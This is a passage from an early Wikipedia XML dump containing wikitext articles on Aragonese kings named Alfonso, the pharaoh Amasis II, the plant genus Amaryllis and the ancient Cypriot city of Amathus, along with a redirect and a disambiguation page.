{{start box}}
{{succession box two to one|
 before1=[[Alfonso Carlos, Duke of San Jaime|Alphonse Charles XII]]&lt;br&gt;&lt;small&gt;(duke of San Jaime)&lt;/small&gt;|
 before2=[[Alfonso Carlos, Duke of San Jaime|Alfonso Carlos I]]&lt;br&gt;&lt;small&gt;(duke of San Jaime)&lt;/small&gt;|
 title1=[[Legitimist]] claimants to the throne of France|
 years1=|
 title2=[[Carlist]] claimants to the throne of Spain|
 years2=|
 after=[[Infante Jaime of Spain, Duke of Segovia|Jacques Henri VI / Jaime IV]]&lt;br&gt;&lt;small&gt;(duke of Anjou and Segovia)&lt;/small&gt;
}}
{{end box}}

[[Category:Spanish monarchs]]
[[Category:British Field Marshals]]
[[Category:Knights of the Garter]]
[[Category:1886 births|Alfonso XIII of Spain]]
[[Category:1941 deaths|Alfonso XIII of Spain]]
[[Category:House of Bourbon]]
[[Category:Knights Grand Cross of the Royal Victorian Order]]
[[Category:Pretenders to the French throne]]

[[ca:Alfons XIII d'Espanya]]
[[da:Alfons 13. af Spanien]]
[[de:Alfons XIII.]]
[[es:Alfonso XIII de España]]
[[eo:Alfonso la 13-a (Hispanio)]]
[[fr:Alphonse XIII d'Espagne]]
[[it:Alfonso XIII di Spagna]]
[[ka:ალფონსო XIII (ესპანეთი)]]
[[lv:Alfonso XIII]]
[[nl:Alfons XIII van Spanje]]
[[ja:アルフォンソ13世 (スペイン王)]]
[[pl:Alfons XIII Burbon]]
[[pt:Afonso XIII de Espanha]]
[[fi:Alfonso XIII]]
[[sv:Alfons XIII av Spanien]]
[[uk:Альфонс ХІІІ (король Іспанії)]]
[[zh:阿方索十三世]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonsus a Sancta Maria</title>
    <id>1678</id>
    <revision>
      <id>28106054</id>
      <timestamp>2005-11-12T10:45:00Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Alphonsus a Sancta Maria''', or '''Alphonso de Cartagena''' ([[1396]] - [[July 12]], [[1456]]), [[Spain|Spanish]] historian, was born at [[Cartagena, Spain|Cartagena]], and succeeded his father, Paulus, as bishop of [[Burgos]].  In [[1431]] he was deputed by [[John II of Castile|John II, king of Castile]], to attend the council of [[Basel]], in which he made himself conspicuous by his learning.  He was the author of several works, the principal of which is entitled ''Rerum Hispanorum Romanorum imperatorum, summorum pontificum, nec non regum Francorum anacephaleosis''. This is a history of [[Spain]] from the earliest times down to [[1456]], and was printed at [[Granada]] in [[1545]], and also in the ''Rerum Hispanicarum Scriptores aliquot'', by R. Bel (Frankfort, 1579).


==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Alfonso the Battler</title>
    <id>1679</id>
    <revision>
      <id>40347008</id>
      <timestamp>2006-02-19T23:40:10Z</timestamp>
      <contributor>
        <username>Srnec</username>
        <id>494861</id>
      </contributor>
      <comment>/* Reign */ finished all his battles of the reconquista</comment>
      <text xml:space="preserve">'''Alfonso I''' (c.[[1073]] &amp;ndash; [[1134]]), called '''the Battler''', was the [[Kings of Aragon|king of Aragón]] and [[Kings of Navarre|Navarre]] from [[1104]] until his death in [[1134]].  He was the second son of King [[Sancho I of Aragon|Sancho Ramírez]] and successor of his brother [[Peter I of Aragon|Peter I]].  Alfonso the Battler won his greatest successes in the middle [[Ebro]], where he expelled the Moors from [[Zaragoza]] in [[1118]] and took [[Egea]], [[Tudela]], [[Calatayud]], [[Borja]], [[Tarazona]], [[Daroca]], and [[Monreal del Campo]].  He died in September 1134 after an unsuccessful battle with the [[Moors]] at the siege of [[Fraga]].

==Early life==

His earliest years were passed in the [[monastery]] of [[Siresa]], learning to read and write and the military arts by Lope Garcés the Pilgrim, who was repaid for his services by his former charge with the county of [[Pedrola]] when he came to the throne.  

During his brother's reign, he participated in the taking of Huesca (the [[Battle of Alcoraz]], [[1096]]), which became the largest city in the kingdom and the new capital.  He also joined [[El Cid]]'s expeditions in [[Valencia]].  His father gave him the lordships of [[Biel]], [[Luna]], [[Ardenes]], y [[Bailo]].  

A series of fortunate deaths put Alfonso directly in line for the throne.  His brother's children, Isabel and Peter (who married María Rodríguez, daughter of El Cid), died in [[1103]] and 1104 respectively.

==Reign==

===Marriage===

A passionate fighting-man (he fought twenty-nine battles against Christian or Moor), he was married  (when well over 30 years and a habitual bachelor) in [[1109]] to [[Urraca of Castile]], widow of [[Raymond of Burgundy]], a very dissolute and passionate woman.  The marriage had been arranged by her father [[Alfonso VI of Castile]] in 1106 to unite the two chief Christian states against the [[Almoravides]], and to supply them with a capable military leader.  But Urraca was tenacious of her right as proprietary queen and had not learnt chastity in the polygamous household of her father. Alfonso is reported to have said that a real soldier lives with men, not women. Husband and wife quarrelled with the brutality of the age and came to open war. Alfonso had the support of one section of the nobles who found their account in the confusion. Being a much better soldier than any of his opponents he gained victories at [[Sepulveda]] and [[Fuente de la Culebra]], but his only trustworthy supporters were his Aragonese, who were not numerous enough to keep [[Kingdom of Castile|Castile]] and [[Kingdom of Leon|León]] subjugated. The marriage of Alfonso and Urraca was declared null by the pope, as they were third cousins, in [[1114]]. During his marriage, he had called himself &quot;King and Emperor of Castile, Toledo, Aragón, Pamplona, Sobrarbe, and Ribagorza&quot; in recognition of his rights as Urraca's husband; of his inheritance of the lands of his father, including the kingdom of his great-uncle [[Gonzalo of Sobrarbe and Ribagorza|Gonzalo]]; and his prerogative to conquer [[Andalusia]] from the Moor.  He inserted the title of ''imperator'' on the basis that he had three kingdoms under his rule.  

===Church relations===

The king quarrelled with the church, and particularly the [[Cistercian]]s, almost as violently as with his wife.  As he beat her, so he drove Archbishop Bernard into exile and expelled the monks of [[Sahagún]]. He was finally compelled to give way in Castile and Leon to his stepson [[Alfonso_VII_of_Castile|Alfonso Raimúndez]], son of Urraca and her first husband.  The intervention of [[Pope Calixtus II]] brought about an arrangement between the old man and his young namesake.  

In [[1122]] in Belchite, he founded a confraternity of knighst to fight agains the Almoravids.  It was the start of the military orders in Aragón.  Years later, he organised a branch of the ''Militia Christi'' of the [[Holy Land]] at [[Monreal del Campo]].  

===Reconquista===

Alfonso spent his first four years in near-constant war with the Moor.  In [[1105]], he conquered Ejea and Tauste and refortified Castellar and Juslibol.  In [[1106]], he defeated [[Ahmad II al-Musta'in]] of Zaragoza at Valtierra.  In [[1107]], he took Tamarite de Litera and Esteban de la Litera.  Then followed a period dominated by his relations with Castile and León through his wife, Urraca.  He resumed his Reconquista in [[1117]] by conquering Fitero, Corella, Cintruénigo, Murchante, Monteagudo, and Cascante from Islam.  

In [[1118]], the Council of Toulouse declared it a [[crusade]] to assist in the reconquest of [[Zaragoza]].  Many Frenchmen consequently joined Alfonso at [[Ayerbe]].  They took Almudévar, Gurrea de Gállego, and Zuera, besieging Zaragoza itself by the end of May.  On [[18 December], it fell and the forces of Alfonso occupied the Azuda, the government tower.  The great palace of the city was given to the monks of Bernard.  Promptly, the city was made Alfonso's capital.  Two years later, in [[1120]], he defeated a Moslem army intent on reconquering his new capital at [[Cutanda]]. He promulgated the ''fuero'' of ''tortum per tortum'', facilitating taking the law into one's own hands, and forced the Moslem population of the city (greater than 20,000) to move to the suburbs.  

In [[1119]], he retook Cervera, Tudejen, Castellón, Tarazona, Ágreda, Magallón, Borja, Alagón, Novillas, Mallén, Rueda, Épila and repopulated the region of [[Soria]].  He began the siege of [[Calatayud]], but left to defeat the army at Cutanda trying to retake Zaragoza.  When Calatayud fell, he took Bubierca, Alhama de Aragón, Ariza, and Daroca (1120).  In [[1123]], he besieged and took [[Lérida]], which was in the hands of the [[count of Barcelona]].  From the winter of [[1124]] to September [[1125]], he was on a risky expedition to Peña Cadiella deep in Andalusia.  

In the great raid of 1125, he carried away a large part of the subject Christians from Granada, and in the south-west of France, he had claims as usurper-king of Navarre.  From 1125 to [[1126]], he was on campaign against [[Granada]], where he was trying to install a Christian prince, and [[Córdoba]], where got only as far as Motril.  In [[1127]], he reconquered Longares, but simultaneously lost all his Castilian possessions to [[alfonso VII of Castile|Alfonso VII]].  He confirmed a treaty with Castile the next year ([[1128]]) at [[Támara]] which fixed the boundaries of the two realms.  

He conquered Molina de Aragón and repopulated Monzón in [[1129]], before besieging [[Valencia]], which had falled again upon the Cid's death.  

He went north of the Pyrenees in October [[1130]] to protect the [[Val d'Aran]].  Early in [[1131]], he besieged [[Bayonne]].  It is said he ruled &quot;from Belorado to Pallars and from Bayonne to Monreal.&quot; 

Three years before his death, he made a will leaving his kingdom to the [[Templars]], the [[Hospitallers]], and the Knights of the [[Holy Sepulchre]], which his subjects refused to carry out—instead bringing his brother Ramiro from the monastery to assume royal powers. 

His final campaigns were against Mequinenza ([[1133]]) and Fraga (1134), where [[García VI of Navarre|García Ramírez]], the future king of Navarre, and a mere 500 other knights fought with him.  It fell on [[17 July]]. He was dead by September. Alfonso was a fierce, violent man, a soldier and nothing else, whose piety was wholly militant. He has a great role in the Spanish reconquest.

==Death==

His testament was not honored: Aragon took his aged brother abbot-bishop Ramiro out of monastery and made him king; [[Navarrese]] regained independence and put Lord Garcia Ramirez of [[Monzon, Spain|Monzón]], son of his second cousin, to the throne in [[Pamplona]].

==References==

*{{1911}}

{{s-start}}
{{s-bef|rows=2|before=[[Peter I of Aragon|Peter I]]}}
{{s-ttl|title=[[List of Aragonese monarchs|King of Aragon]]|years=[[1104]]&amp;ndash;[[1134]]}}
{{s-aft|after=[[Ramiro II of Aragon|Ramiro II]]}}
{{s-ttl|title=[[List of Navarrese monarchs|King of Navarre]]|years=[[1104]]&amp;ndash;[[1134]]}}
{{s-aft|after=[[García VI of Navarre|García VI]]}}
{{end}}

[[Category:Aragonese monarchs]]
[[Category:Navarrese monarchs]]
[[Category:1073 births|Alfonso I of Aragon]]
[[Category:1134 deaths|Alfonso I of Aragon]]

[[ca:Alfons I d'Aragó]]
[[de:Alfons I. (Aragón)]]
[[es:Alfonso I de Aragón]]
[[fr:Alphonse Ier d'Aragon]]
[[he:אלפונסו הראשון מלך אראגון]]
[[nl:Alfons I van Aragon]]
[[pl:Alfons I (król Aragonii)]]
[[pt:Afonso I de Aragão]]
[[zh:阿方索一世 (阿拉贡)]]</text>
    </revision>
  </page>
  <page>
    <title>Amaryllis</title>
    <id>1680</id>
    <revision>
      <id>42083640</id>
      <timestamp>2006-03-03T18:42:36Z</timestamp>
      <contributor>
        <ip>194.134.193.16</ip>
      </contributor>
      <comment>minus pictur of  [[Hippeastrum]]</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Amaryllis''
| image = NakedLadies.jpg
| image_width = 250px
| image_caption = &quot;Naked Lady&quot; flowers in the [[Sinkyone Wilderness State Park]], [[California]]
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[monocotyledon|Lilliopsida]]
| ordo = [[Asparagales]]
| familia = [[Amaryllidaceae]]
| genus = ''Amaryllis''
| species = '''''A. belladonna'''''
| binomial = ''Amaryllis belladonna''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}

'''''Amaryllis''''' is a monotypic [[genus]] of plant containing one species, the '''Belladonna Lily''' (''Amaryllis belladonna''), a native of [[South Africa]]. ['''Note:''' [[Hippeastrum]] is the flowering bulb commonly sold in November and December for blooming inside]

The Belladonna Lily is a [[bulb]] plant, with each bulb being 5-10 cm in diameter. It has several strap-shaped, dull green [[leaf|leaves]], 30-50 cm long and 2-3 cm broad, arranged in two rows. The leaves are produced in the autumn and eventually die down by late spring. The bulb is then dormant until late summer. 

In late summer the bulb produces one or two naked stems 30-60 cm tall, each of which bear a cluster of 2 to 12 funnel-shaped [[flower]]s at their tops. Each flower is 6-10 cm diameter with six [[tepal]]s (three outer sepals, three inner petals, with similar appearance to each other), white, pink or purple in colour. This flowering pattern is the cause of its common name 'naked lady'. The scientific name ''Amaryllis'' is named after a shepherdess in one of [[Virgil]]'s pastorals, and means any young rustic maiden.

The Belladonna Lily was introduced into cultivation at the beginning of the [[18th century]]. However, most of the so-called Amaryllis bulbs sold as 'ready to bloom for the holidays' belong to the allied genus ''[[Hippeastrum]]'', despite being labeled as 'Amaryllis' by sellers and [[nursery (horticulture)|nurseries]]. Adding to the name confusion, some bulbs of other species with a similar growth and flowering pattern are also sometimes called 'naked ladies', even though those species have their own more widely used and accepted common names, such as the [[Resurrection Lily]] (''Lycoris squamigera'').
  

[[Category:Asparagales]]

[[de:Amaryllis (Gattung)]]
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  <page>
    <title>Amasis I</title>
    <id>1682</id>
    <revision>
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      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ahmose I]]</text>
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  </page>
  <page>
    <title>Alfonso III of Aragon</title>
    <id>1683</id>
    <revision>
      <id>41013661</id>
      <timestamp>2006-02-24T14:06:27Z</timestamp>
      <contributor>
        <username>Francisco Valverde</username>
        <id>495548</id>
      </contributor>
      <minor />
      <comment>/* References */</comment>
      <text xml:space="preserve">{{verify}}



'''Alfons''' or '''Alfonso III of Aragon''' ([[1265]] &amp;ndash; [[June 18]], [[1291]], also '''Alfons II of Barcelona'''), surnamed ''the Liberal'', was the king of
[[Aragon]] and count of [[Barcelona]] from [[1285]] to [[1291]].

He was a son of [[Peter III of Aragon]] and his [[Queen consort]] Constance of Sicily, daughter and heiress of [[Manfred of Sicily]]. His maternal grandmother Beatrice of Savoy was a daughter of [[Amadeus IV of Savoy]] and Anne of Burgundy.

He conquered the island of [[Minorca]] in [[1287]].

His inability to resist the demands of his nobles left a heritage of trouble in Aragon.  By recognising their right to rebel in the articles called the [[Union of Aragon]] he helped to make anarchy permanent.

For this reason, probably, [[Dante Alighieri]], in [[the Divine Comedy]], recounts that he saw Alfonso's spirit seated outside the gates of [[Purgatory]] with the other monarchs whom Dante blamed for the chaotic political state of [[Europe]] during the [[13th century]].

== References ==

*DANTE ALIGHIERI, ''Purgatorio'', Canto VII, l. 115ff.


{{s-start}}
{{s-bef|before=[[Peter III of Aragon|Peter III]]}}
{{s-ttl|title=King of [[List of Aragonese monarchs|Aragon]] and [[List of Valencian monarchs|Valencia]],&lt;br/&gt;[[List of Counts of Barcelona|Count of Barcelona]]
|years=[[1285]]-[[1291]]}}
{{s-aft|after=[[James II of Aragon|James II]]}}
{{end}}

[[Category:1265 births]]
[[Category:1291 deaths]]
[[Category:Aragonese monarchs]]
[[Category:Characters in the Divine Comedy]]
[[Category:Counts of Barcelona]]

[[ca:Alfons el Franc]]
[[de:Alfons III. (Aragón)]]
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[[sv:Alfonso III av Aragonien]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso IV of Aragon</title>
    <id>1684</id>
    <revision>
      <id>37722042</id>
      <timestamp>2006-02-01T20:10:49Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">'''Alfonso IV of Aragon''', surnamed ''the Kind''  ([[Catalan language|Catalan]]: ''Alfons el Benigne'')  was the king of
[[Aragon]] and count of [[Barcelona]] (as Alfonso III) from [[1327]] to [[1336]]. Born in [[1299]] and died [[January 24]] [[1336]], he was the second son of [[James II of Aragon]] and [[Blanche of Anjou]].

He became heir after his older brother James renounced his rights to become a monk. He married Teresa of Entença and Antillon (1300-1327), heiress of [[Urgell]]. With this marriage, Urgell was definitively incorporated into the crown of Aragon. 

After widowing, he married Leonor de Castile, who should have been his brother James' wife but he refused to consummate the marriage. She was the sister of [[Alfonso XI of Castile]] and was murdered by her nephew [[Peter I of Castile]].

===Children===
By Teresa of Entença:
* Alfons (lived only one year).
* [[Peter IV of Aragon|Peter IV]]
* James (Jaume), Count of Urgell (1320-1347). He also inherited Entença and Antillon.
* Fadrique (died young).
* Constança (1322-1346), married [[James III of Majorca]].
* Elizabeth (died young).
* Sanç (1327, lived only a few days).

By Leonor de Castile:
* [[Ferdinand, Prince of Aragon|Ferdinand]] (Ferran), Marquis of Tortosa. Married [[Maria of Portugal (1342-1367)|Maria of Portugal]] (daughter of [[Peter I of Portugal]]) and was killed by his half-brother Peter IV.
* John (Joan). Married Isabel Núñez de Lara and was killed by order of his cousin Peter I of Castile.

{{start box}}
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[[Category:1299 births]]
[[Category:1366 deaths]]
[[Category:Aragonese monarchs]]
[[Category:Counts of Barcelona]]

[[ca:Alfons el Benigne]]
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[[ja:アルフォンソ4世 (アラゴン王)]]


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  <page>
    <title>Amasis II</title>
    <id>1685</id>
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      <text xml:space="preserve">{{Template:Hiero/3name | name= Amasis II | horus=&lt;hiero&gt;s-mn:n-U1-mAa:t&lt;/hiero&gt; | praenomen=&lt;hiero&gt;ra-W9-m-ib&lt;/hiero&gt; | nomen=&lt;hiero&gt;N12-ms-R24-zA&lt;/hiero&gt; | align=right | era=lp}}

'''Amasis II''' (also '''Ahmose II''') was a [[pharaoh]] ([[570 BC]]-[[526 BC]]) of the [[Twenty-sixth dynasty of Egypt]], the successor of [[Apries]]. His capital was at [[Sais, Egypt|Sais]]. He was the last great ruler of [[Egypt]] before the [[Iran|Persia]]n conquest.

Most of our information about him is derived from [[Herodotus]] (2.161ff) and can only be imperfectly verified by monumental evidence. According to the Greek historian, he was of common origins. A revolt of the native soldiers gave him his opportunity. These troops, returning home from a disastrous expedition to [[Cyrene (city)|Cyrene]], suspected that they had been betrayed in order that [[Apries]], the reigning king, might rule more absolutely by means of his [[mercenaries]], and their friends in Egypt fully sympathized with them. Amasis, sent to meet them and quell the revolt, was proclaimed king by the rebels, and Apries, who had now to rely entirely on his mercenaries, was defeated and taken prisoner in the ensuing conflict at [[Memphis, Egypt|Memphis]]; the [[usurper]] treated the captive prince with great leniency, but was eventually persuaded to give him up to the people, by whom he was strangled and buried in his ancestral tomb at Sais. An inscription confirms the fact of the struggle between the native and the foreign soldiery, and proves that Apries was killed and honourably buried in the 3rd year of Amasis.

Although Amasis thus appears first as champion of the disparaged native, he had the good sense to cultivate the friendship of the [[Ancient Greece|Greek world]], and brought Egypt into closer touch with it than ever before. Herodotus relates that under his prudent administration [[Egypt]] reached the highest pitch of prosperity; he adorned the temples of [[Lower Egypt]] especially with splendid [[monolith]]ic [[shrine]]s and other monuments (his activity here is proved by remains still existing). To the Greeks, Amasis assigned the commercial colony of [[Naucratis]] on the [[Canopic]] branch of the [[Nile]], and when the [[temple of Delphi]] was burnt he contributed 1,000 [[talent (weight)|talents]] to the rebuilding. He also married a Greek princess named '''Ladice''', the daughter of [[Battus]], king of Cyrene, and he made alliances with [[Polycrates of Samos]] and [[Croesus of Lydia]].

His kingdom consisted probably of Egypt only, as far as the [[First Cataract]], but to this he added [[Cyprus]], and his influence was great in Cyrene. At the beginning of his long reign, before the death of Apries, he appears to have sustained an attack by [[Nebuchadrezzar II]] ([[568 BC]]). [[Cyrus II of Persia|Cyrus]] left Egypt unmolested; but the last years of Amasis were disturbed by the threatened invasion of [[Cambyses]] and by the rupture of the alliance with Polycrates of Samos. The blow fell upon his son [[Psammetichus III]], whom the Persian deprived of his kingdom after a reign of only six months. 

== References ==
[[William Flinders Petrie|W. M. Flinders Petrie]], ''History'', vol. iii.; [[James Henry Breasted]], ''History and Historical Documents'', vol. iv. p. 509; [[Gaston Maspero]], ''Les Empires''. 

{{Pharaoh | Prev=[[Apries]] | Dynasty=[[570 BC|570]] &amp;ndash; [[526 BC]]&lt;br&gt;[[Twenty-sixth Dynasty]] | Next=[[Psamtik III]]}}

{{1911}}

[[Category:526 BC deaths]]
[[Category:Pharaohs]]

[[ar:أحمس]]
[[bg:Амазис]]
[[de:Amasis (Pharao)]]
[[fr:Amasis]]
[[ru:Амасис II]]
[[zh:雅赫摩斯二世]]</text>
    </revision>
  </page>
  <page>
    <title>Alfons V of Aragon</title>
    <id>1686</id>
    <revision>
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      <minor />
      <text xml:space="preserve">'''Alfons V of Aragon''' (also '''Alfons I of Naples''') ([[1396]] &amp;ndash; [[June 27]], [[1458]]), surnamed ''the Magnanimous'', was the [[Kings of Aragon|King]] of [[Aragon]] and [[Naples]] and count of [[Barcelona]] from [[1416]] to [[1458]]. He was a son of [[Ferdinand I of Aragon]] (also called Ferdinand of Antequera), and is one of the most conspicuous figures of the early [[Renaissance]].

He represented the old line of the counts of Barcelona only through women, and was on his father's side descended from the House of Trastamara, a noble family of [[Castile]]. By hereditary right he was king of [[Sicily]]. He disputed the island of [[Sardinia]] with [[Genoa]] and conquered the [[kingdom of Naples]]. He fought and triumphed amid the exuberant development of individuality which accompanied the revival of learning and the birth of the modern world. 

When he was a prisoner in the hands of [[Visconti|Filippo Maria Visconti]], Duke of [[Milan]], in [[1435]], Alfonso persuaded his ferocious and crafty captor to let him go by making it plain that it was the interest of Milan not to prevent the victory of the Aragonese party in Naples.  

Like a true prince of the Renaissance he favoured men of letters whom he trusted to preserve his reputation to posterity.  His devotion to the [[classics]] was exceptional even in that time. For example, Alfonso halted his army in pious respect before the birthplace of a Latin writer, carried Livy or Caesar on his campaigns with him, and his panegyrist [[Panormita]] did not think it an incredible lie to say that the king was cured of an illness when a few pages of [[Quintus Curtius Rufus]]' history of [[Alexander the Great]] were read to him.  However, the classics had not refined his taste, for he was amused by setting iternant scholars, who swarmed to his court, to abuse one another in the indescribably filthy Latin scolding matches which were then the fashion.  

Alfons founded nothing, and, after his conquest of [[Naples]] in [[1441]], ruled by his mercenary soldiers and no less mercenary men of letters.  His Spanish possessions were ruled for him by his brother [[Juan II of Aragon|John]].  He left his conquest of Naples to his bastard son [[Ferdinand I of Naples|Ferdinand]]; his inherited lands, Sicily and [[Sardinia]], going to his brother John, who survived him.

Alfons was the object of diplomatic contacts from the empire of [[Ethiopia]]. In [[1428]], he received a letter from [[Yeshaq I of Ethiopia]], borne by two dignitaries, which proposed an alliance against the [[Muslim]]s and would be sealed by a dual marriage,  that would require the Infante Don Pedro to bring a group of artisans to Ethiopia, where he would marry Yashq's daughter. It is not clear how or if Alfonso responded to this letter, although in a letter sent to Yeshaq's successor [[Zara Yaqob]] in [[1450]], Alfons wrote that he would be happy to send artisans to Ethiopia, if their safe arrival could be guaranteed for on a previous occasion a party of 13 of his subjects travelling to Ethiopia had all perished. &lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;

He was betrothed to [[María de Castilla]] ([[1401]]&amp;ndash;[[1458]]; sister of [[Juan II of Castile]]) in [[Valladolid]] in 1408; the marriage was celebrated in [[Valencia]] during [[1415]]. They failed to produce children.

See list of [[Monarchs of Naples and Sicily]].

== Notes ==
# [[O. G. S. Crawford]] (editor), ''Ethiopian Itineraries, circa 1400 - 1524'' (Cambridge: the Hakluyt Society, 1958), pp. 12f.

{{start box}}
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[[Category:Aragonese monarchs]]
[[Category:Kings of Sicily]]
[[Category:Knights of the Garter]]
[[Category:Knights of the Golden Fleece]]
[[Category:1396 births|Alfonso V of Aragon]]
[[Category:1458 deaths|Alfonso V of Aragon]]

[[ca:Alfons el Magnànim]]
[[cy:Alfonso V o Aragon]]
[[de:Alfons V. (Aragón)]]
[[es:Alfonso V de Aragón]]
[[fr:Alphonse V d'Aragon]]
[[it:Alfonso V d'Aragona]]
[[nl:Alfons V van Aragon]]
[[pl:Alfons V (król Aragonii)]]
[[pt:Afonso V de Aragão]]
[[zh:阿方索五世 (阿拉贡)]]</text>
    </revision>
  </page>
  <page>
    <title>Amathus</title>
    <id>1687</id>
    <revision>
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      <contributor>
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      <text xml:space="preserve">'''Amathus''' was an ancient city of [[Cyprus]], on the southern coast, about 24 miles west of [[Larnaka]] and 6 miles east of [[Limassol]]. It lies among sandy hills and sand-dunes, which perhaps explain its name in Greek (''amathos'', sand). Being one of the most ancient royal cities, according to the legend, was settled by one of the sons of [[Heracles]], who was worshipped there. According to other legends, [[Ariadne]], the beautiful daughter of Minos, who fled from [[Labyrinth]] in [[Crete]] with [[Theseus]], was later abandoned in Amathus. She died there while giving birth to her child and was buried in a sacred tomb.

Amathus was built on the coastal cliffs with an amazing view to the sea. It flourished and became a rich kingdom since the early years of its settlement. During the Post Phoenician Era (800 B.C.) a port was also constructed there, which served the trade with the [[Greeks]] and the Levantines. High on the cliff a temple was built, which became a special worship site to Aphrodite, the goddess of Beauty and Love. The excavators discovered the Temple of Aphrodite, which dates approximately to the first century B.C.. According to the legend, it was where Adonia took place, in which athletes competed in hunting wild boars during sport competitions. They also competed in dancing and singing to the honour of Adonis. 

The earliest remains hitherto found on the site are tombs of the early [[Iron Age]] period of Graeco-Phoenician influences ([[1000 BC|1000]]-[[600 BC|600 B.C.]]). Amathus is identified by some (E. Oberhummer, ''Die Insel Cypern'', i., 1902, pp. 13-14; but see [[Citium]]) with Kartihadasti (Phoenician &quot;New-Town&quot;) in the Cypriote tribute-list of [[Esarhaddon]] of [[Assyria]] (668 B.C.). It certainly maintained strong [[Phoenicia]]n sympathies, for it was its refusal to join the phil-Hellene league of [[Onesilos of Salamis]] which provoked the revolt of Cyprus from [[Iran|Persia]] in [[500 BC|500]]-[[494BC|494 B.C]]. (Herod. v. 105), when Amathus was besieged unsuccessfully and avenged itself by the capture and execution of Onesilos.

The phil-Hellene [[Evagoras]] of Salamis was similarly opposed by Amathus about 385-380 B.C. in conjunction with [[Citium]] and [[Soli, Cyprus|Soli]] (Diod.  Sic. xiv. 98); and even after [[Alexander the Great|Alexander]] the city resisted annexation, and was bound over to give hostages to [[Seleucus]] (Diod.  Sic. xix. 62).
Its political importance now ended, but its temple of [[Adonis]] and [[Aphrodite]] (Venus Amathusia) remained famous in [[Roman Empire|Roman time]]. 

The wealth of Amathus was derived partly from its corn ([[Strabo]] 340, quoting [[Hipponax]], fi. 540 B.C.), partly from its [[copper]] mines (Ovid, ''Met.'' x. 220, 531), of which traces can be seen inland (G. Mariti, i. 187; L. Ross, ''Inselreise,'' iv. 195; W. H. Engel, ''Kypros,'' i. 111 ff.).
[[Ovid]] also mentions its sheep (Met. x. 227); the epithet ''Amathusia'' in Roman poetry often means little more than &quot;Cypriote,&quot; attesting however the fame of the city.


Amathus was a rich and densely populated kingdom with a flourishing agriculture and mines situated very close northeast Kalavasos. In the Roman Era it became the capital of one out of the four (4) administrative regions. Later, in the 4th century A.D. it became the Episcopal See and continued to flourish until the [[Byzantine]] Period. At approximately the Late 6th century A.D., Ayios Ioannis Eleimonas (Saint John Charitable), protector of the knights was born in Amathus. 

Until 1191 when Richard the Lionheart arrived in Cyprus, Amathus had declined. The tombs were plundered and the stones from the beautiful edifices were brought to Limassol to be used for new constructions. Much later, in [[1869]], a great number of blocks of stone from Amathus were used for the construction of the [[Suez Canal]]. 

Amathus still flourished and produced a distinguished patriarch of [[Alexandria]] ([[St. John the Merciful]]), as late as 606-616, and a ruined [[Byzantian Empire|Byzantine]] church marks the site; but it was already almost deserted when [[Richard I of England|Richard Plantagenet]] won Cyprus by a victory there over [[Isaac Comnenus of Cyprus|Isaac Comnenus]] in 1191.

A new settlement close to Amathus but further inland was created, and named after St Tykhon, a bishop of Amathus. The land were the ruins are is within the borders of this village, though the expansion of the Limassol tourist area has threatened the ruins (it is speculated that some of the hotels are on top of the Amathus necropolis).

Archaeological excavations in the area by parties of Cypriots and French archaeologists started in 1980 and continue until today. The Acropolis, the Aphrodite’s Temple, the market, the city’s walls, the Basicila and the port have all been excavated. 

It is an amazing opportunity for the visitor to ramble over the area and have the feeling of living as they used to live. The visitors have a wonderful chance to explore the area and see rare and beautiful archaeological treasures, which are buried in the soil for centuries. 

In the market there are marvellous marble columns decorated with spiral ornaments and huge paved precincts. At the coastal side of the city there are indications of an Early Christian Basilica with floors decorated with precious gems. Farther, near the terraced road leading to the Temple, situated on the top of the cliff, several houses built in a row dating to the Hellenistic Period have been discovered. In the east and west extremes of the city the two acropolis are situated, where a number of tombs have been found, many of which are intact. 


The rich [[necropolis]], already partly plundered then, has yielded valuable works of art to New York and to the [[British Museum]]; but the city has vanished, except fragments of wall and of a great stone cistern on the acropolis. A similar vessel was transported to the [[Louvre]] in 1867. You might admire many of the interesting hand-made items with an archaeological value, which have been found during the excavations and are actually exposed at the Cyprus Museum in Nicosia as well as at the Limassol District Archaeological Museum or even at the [[Metropolitan Museum of Art|New York Metropolitan Museum]]. The biggest treasure of Amathus is exposed at Paris Louvre Museum. It is a dim made from limestone, which dates to the 6th century B.C. It is 1.85 m. high and weighs 14 tons. It was made from a single big stone and has four (4) curved handles decorated with the head of a bull. It was used for storing the must from the grapes, which after the fermentation it became wine, which Cyprus is famous for. 

Two small sanctuaries, with terracotta votive offerings of Graeco-Phoenician age, lie not far off, but the great shrine of Adonis and Aphrodite has not been identified (M. Ohnefalsch-Richter, ''Kypros,'' i. ch.1).

The ruins of Amathus are less well-preserved than neighbouring [[Kourion]].

==References==
*{{1911}}
*[http://www.limassolmunicipal.com.cy/amathus/index.html Municipality of Limassol]

[[category:History of Cyprus]]
[[Category:Ancient Cities in Cyprus]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso</title>
    <id>1688</id>
    <revision>
      <id>28802108</id>
      <timestamp>2005-11-20T03:43:06Z</timestamp>
      <contributor>
        <username>KnowName</username>
        <id>533999</id>
      </contributor>
      <minor />
      <comment>/* Portuguese explorers */</comment>
      <text xml:space="preserve">'''''Alfonso''''' (or '''''Afonso''''', '''''Affonso''''', '''''Alphonso''''', '''''Alphonse''''') - ([[English language|English]]: '''''Alphonzo''''') may refer to any of the following;

==[[List of Portuguese monarchs|Kings of Portugal]]==
*[[Afonso I of Portugal]] -- (1109-1185) &quot;the Conqueror&quot; (Afonso Henriques)
*[[Afonso II of Portugal]] -- (1185-1223) &quot;the Fat&quot; 
*[[Afonso III of Portugal]] -- (1210-1279)
*[[Afonso IV of Portugal]] -- (1291-1357)
*[[Afonso V of Portugal]] -- (1432-1481)
*[[Afonso VI of Portugal]] -- (1656-1683) second king of the house of Braganza

==Portuguese explorers==
